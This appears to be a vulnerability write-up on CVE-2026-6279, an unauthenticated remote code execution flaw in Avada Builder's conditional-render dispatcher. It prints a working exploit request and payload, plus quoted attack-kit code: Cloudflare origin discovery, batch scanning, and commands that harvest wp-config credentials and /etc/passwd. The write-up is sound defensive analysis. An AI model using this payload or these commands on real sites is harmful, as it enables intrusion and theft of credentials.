Avada Builder's Fusion_Builder_Conditional_Render_Helper::get_value() runs call_user_func( $value['function'], $value['args'] ) in its wp_conditional_tags branch at line 1531 of class-fusion-builder-conditional-render-helper.php. The handler that reaches the method is registered as wp_ajax_nopriv_fusion_get_widget_markup. The nonce that gates it is minted by wp_create_nonce( 'fusion_load_nonce' ) for user ID zero on every page that ships a [fusion_post_cards] or [fusion_table_of_contents] shortcode, and is inlined into the page as a JavaScript object the anonymous visitor's browser was supposed to read. CVE-2026-6279 is what happens when a dispatcher built around the WordPress conditional-tag API is told to call system, and call_user_func finds the function PHP keeps in the same symbol table.
CVE-2026-6279: Avada Builder's call_user_func Has No Allowlist. PHP Has No Conditional-Tag Table.
patterns
cve
proof of concept
The function field was a function pointer table that had no table
WordPress's conditional tag functions, is_front_page, is_single, is_page, is_user_logged_in, and the rest of /wp-includes/query.php, are the API for "render this block when X is true." A page builder that wants to make blocks conditional on those calls has two options. It can write a switch over the known set of conditional tags, which encodes the set in source and refuses anything that does not appear in the switch. Or it can store the conditional tag's name as data and dispatch through it at runtime, which offloads the set to whatever the runtime considers a callable.
Fusion Builder picked the second. The render_logics attribute on a Fusion widget, declared at line 44 of fusion-widget.php, is a base64-encoded JSON array of logic clauses. A wp_conditional_tags clause has the shape {"type":"wp_conditional_tags","value":{"function":"<name>","args":"<arg>"}}. The dispatcher in Fusion_Builder_Conditional_Render_Helper::get_value() reads function and args from the clause and hands them to call_user_func:
case 'wp_conditional_tags':
$decoded = json_decode( base64_decode( $render_logics ), true );
return call_user_func( $decoded['function'], $decoded['args'] );To a developer thinking in dispatch-table semantics, that line reads as "look up the conditional tag named function and call it with args." There is no lookup. call_user_func accepts any string PHP can resolve as a callable: every WordPress core function, every active plugin's function, every PHP built-in that takes a single argument.
The allowlist is not missing because the developer forgot to add one. It is missing because the dispatcher was written under the assumption that the conditional-tags vocabulary lived somewhere the runtime would enforce. PHP keeps no such vocabulary. The function name comes from the JSON, PHP's runtime resolves it against the symbol table, and the dispatch happens. The developer's mental model of the operation was "select from a table of conditional tags." PHP's behavior is "resolve from the symbol table of every function that has been included." Both arrive at a function. The functions are not the same.
call_user_func accepts a single argument, so the callable surface narrows to single-argument PHP functions that do useful work. The PoC enumerates the practical set: system, passthru, shell_exec, exec, file_get_contents. When disable_functions blocks the shell sinks, the kit falls through to assert($php_code_string), which on PHP 7 evaluates an arbitrary PHP string inside the WordPress request and picks up whatever the configuration left unblocked. The narrowing is the runtime's, not the dispatcher's.
The nonce was not a CSRF token. It was a JavaScript variable.
wp_ajax_nopriv_fusion_get_widget_markup is registered at line 389 of fusion-widget.php. The nopriv prefix is WordPress's documented mechanism for routing an admin-ajax action to an unauthenticated caller. The handler's first call is check_ajax_referer( 'fusion_load_nonce' ). The check passes when the caller supplies a nonce that wp_verify_nonce accepts for the action string fusion_load_nonce.
The nonce is minted in class-fusion-builder.php around line 7551, conditional on the current page containing either [fusion_post_cards] or [fusion_table_of_contents]. The mint runs in the public-page render path, for whatever user is rendering the page. For an anonymous visitor, that user ID is zero. WordPress nonces are tied to user ID, action name, and a roughly 12-to-24-hour time tick, so for user ID zero on a fixed action, the nonce is a deterministic function of the time tick and identical for every anonymous visitor inside the same window.
The mint is not the only handoff. The nonce is rendered into the page as a JavaScript object literal, fusionPostCardsVars or fusionTableOfContentsVars, so the page's own frontend scripts can post it back to admin-ajax. The literal sits inside a <script> block any visitor's browser receives:
<script>var fusionPostCardsVars = {"ajaxurl":"https:\/\/target.com\/wp-admin\/admin-ajax.php","nonce":"b6d7b084c2"};</script>The nonce is not secret. It is not session-bound. It is a string the server prints into a public page so the public page can use it. check_ajax_referer accepts that nonce. The handler walks the render_logics payload, reaches the wp_conditional_tags case, and calls call_user_func. The handler does not call current_user_can. It does not call is_user_logged_in. The nonce passed, and the privileged operation ran.
This is the pattern this catalog files under nonce-is-not-auth, and at this point it has shipped, by our count, in Pix for WooCommerce, WP Maps Pro, RestroPress, and across the WordPress plugin ecosystem in a steady cadence. The Avada exhibit adds a sink the prior exhibits did not have. Earlier handlers in the pattern wrote a file to the webroot, or signed a Zoom SDK token, or invoked wp_insert_user with role=administrator. The Avada handler dispatches an arbitrary PHP function name. The privilege at the end of the chain is whatever PHP knows how to call.
The chain
The attacker fetches any URL on the target with the Avada theme that contains [fusion_post_cards] or [fusion_table_of_contents]. A page builder's "blog" page is the canonical home of the first shortcode, a documentation or FAQ page the canonical home of the second. The PoC's scanner prioritizes /blog/, /news/, /portfolio/, /about/, /faq/, /docs/, and walks the sitemap and REST API as fallback. A regex over the response body extracts the nonce from the JavaScript localizer.
The attacker constructs the payload as a base64-encoded JSON object naming the function to call:
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}And POSTs it to admin-ajax.php with the harvested nonce:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup&fusion_load_nonce=b6d7b084c2&render_logics=eyJ0eXBlIjoid3BfY29uZGl0aW9uYWxfdGFncyIsInZhbHVlIjp7ImZ1bmN0aW9uIjoic3lzdGVtIiwiYXJncyI6ImlkIn19&widget_type=WP_Widget_Recent_Posts&type=WP_Widget_Recent_Posts&widget_id=2&number=2should_render() at line 1083 of class-fusion-builder-conditional-render-helper.php deserializes render_logics and walks each clause. The wp_conditional_tags clause reaches get_value(). call_user_func( 'system', 'id' ) runs in the WordPress request. The handler captures the output and returns it inside the AJAX response body:
uid=33(www-data) gid=33(www-data) groups=33(www-data)The chain is four lines of code reading attacker-supplied content as command. The chain is also four years of WordPress plugins shipping the same shape with a different sink.
What got published was not a verifier
Four GitHub repositories appeared against CVE-2026-6279 within three weeks of the Wordfence report. Two of them, xxconi/CVE-2026-6279 and 87achrafg-stack/CVE-2026-6279.py, carry Python kits whose non-banner code overlaps line for line across roughly 1,250 lines. A third is the same kit with the Telegram channel signature removed. The fourth is a stripped 609-line variant. The kit is what the PoC actually is, and the kit is not a verifier.
CF_RANGES = [
"103.21.","103.22.","103.31.","104.16.","104.17.",
"104.18.","104.19.","104.20.","104.21.","104.22.",
"108.162.","131.0.","141.101.","162.158.","172.64.",
...
]
def find_origin_ip(domain):
subdomains = [
f"mail.{domain}", f"ftp.{domain}", f"smtp.{domain}",
f"direct.{domain}", f"origin.{domain}", f"server.{domain}",
f"cpanel.{domain}", f"webmail.{domain}", f"ns1.{domain}",
f"ns2.{domain}", f"api.{domain}", f"dev.{domain}",
f"staging.{domain}", f"test.{domain}", f"old.{domain}",
...
]That block is a Cloudflare origin-IP bypass. The author enumerated twenty common subdomains expecting one of them to resolve to an unproxied origin IP, hardcoded Cloudflare's IPv4 ranges to filter known-proxied results, and tested each candidate for a 200 response on /wp-admin/admin-ajax.php with the target's Host header. A research PoC against a single test target does not need a Cloudflare bypass. An operator running this across a target list of WAF-fronted production sites does.
def mode_batch():
fpath = prompt("targets file", "targets.txt")
threads = int(prompt("threads", "10"))
cmd = prompt("command", "id")
outfile = prompt("output file", "vuln.txt")The batch-scan mode reads a list, runs the exploit on each in a worker pool, and writes successful results to vuln.txt in append mode across runs. A research PoC verifies one finding. This script accumulates a list of compromised hosts.
def _recon(sess,ajax_url,nonce,base,host=None):
cmds=[
("user", "id"),
("hostname", "hostname"),
("os", "uname -a"),
("wp-config","find / -name wp-config.php 2>/dev/null | head -1 | "
"xargs grep -E 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST' 2>/dev/null"),
("passwd", "cat /etc/passwd | grep -v nologin | grep -v false | head -6"),
("suid", "find / -perm -4000 -type f 2>/dev/null | head -6"),
...
]The recon interactive command extracts WordPress database credentials, the local password file, and SUID binaries. The result writes to recon_<host>_<timestamp>.txt on the operator's disk. A revshell helper drops a connect-back bash, Python, or mkfifo+nc payload bound to the operator's choice of host and port. The interactive shell maintains a working directory and lets the operator cd, upload, download, and pivot. None of the operational surfaces are required to demonstrate the bug. All of them are required to use it.
The README files call the project a Proof of Concept. The README files also describe an operations console. The disclaimer paragraphs at the bottom of the same READMEs name the project "yetkili güvenlik testleri ve eğitim amaçlı," authorized security testing and educational use. The 1,255-line kit, the Cloudflare bypass, the worker pool, the wp-config harvester, and the connect-back shell are not features any of those use cases require. This is the catalog's recurring disclaimer-wrapped-campaign-kit shape, with the operator-facing surface attached as a menu.
What the patch addresses, and what it does not
A patch can add an allowlist to the wp_conditional_tags branch. The candidate allowlist is the WordPress conditional-tag vocabulary the dispatcher was always intended to reach. Adding it closes the demonstrated chain.
Fusion_Builder_Conditional_Render_Helper::get_value() is one of several case arms inside the same switch. Each arm resolves its own clause type. Each arm's safety depends on its own bounds. The design that produced an unbounded wp_conditional_tags arm is the design that produced its siblings, and the patch's audit-readable scope is one arm rather than the dispatcher's shape. The runtime substrate is the content-is-command primitive that gave the function field the same authority PHP gives its own source.
The nonce mint to user ID zero is a separate question. Fusion Builder's frontend rendering for [fusion_post_cards] and [fusion_table_of_contents] is, by design, an AJAX flow anonymous visitors must reach. The plugin's contract is that an unauthenticated visitor can interact with those shortcodes. The nonce was added to gate the interaction. The interaction the gate was designed to protect, and the privileged operation behind the gate, share a handler. The gate cannot tell them apart, and the handler does not ask current_user_can.
The conditional-tags dispatcher was the right way to express the feature. It expressed the feature with a primitive that gave the dispatcher's input the same authority PHP gives its own source. The function field reached the symbol table.
The dispatcher was written for is_front_page. PHP resolves system from the same symbol table.